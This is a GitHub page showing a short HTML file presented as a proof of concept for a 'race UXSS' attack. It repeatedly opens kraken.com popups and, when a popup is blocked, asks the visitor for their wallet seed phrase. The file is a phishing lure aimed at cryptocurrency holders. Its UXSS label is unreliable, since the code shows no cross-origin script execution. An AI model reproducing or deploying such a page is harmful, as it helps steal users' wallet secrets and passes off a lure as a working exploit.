-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbalap.html
More file actions
32 lines (30 loc) · 842 Bytes
/
balap.html
File metadata and controls
32 lines (30 loc) · 842 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html>
<head>
<title>PoC: Race UXSS via window open</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
button { padding: 10px 20px; font-size: 16px; }
</style>
</head>
<body>
<h1>UXSS Race Test</h1>
<p>Click button below to launch 10 popups in a race attack.</p>
<button onclick="startRace()">Launch Attack x10</button>
<script>
function startOnce() {
let popup = window.open("https://www.kraken.com/");
if (!popup) {
prompt("Please insert your Seed Phrase");
}
}
function startRace() {
// Loop 10 times with a short pause
for (let i = 0; i < 10; i++) {
setTimeout(startOnce, i * 50);
}
}
</script>
</body>
</html>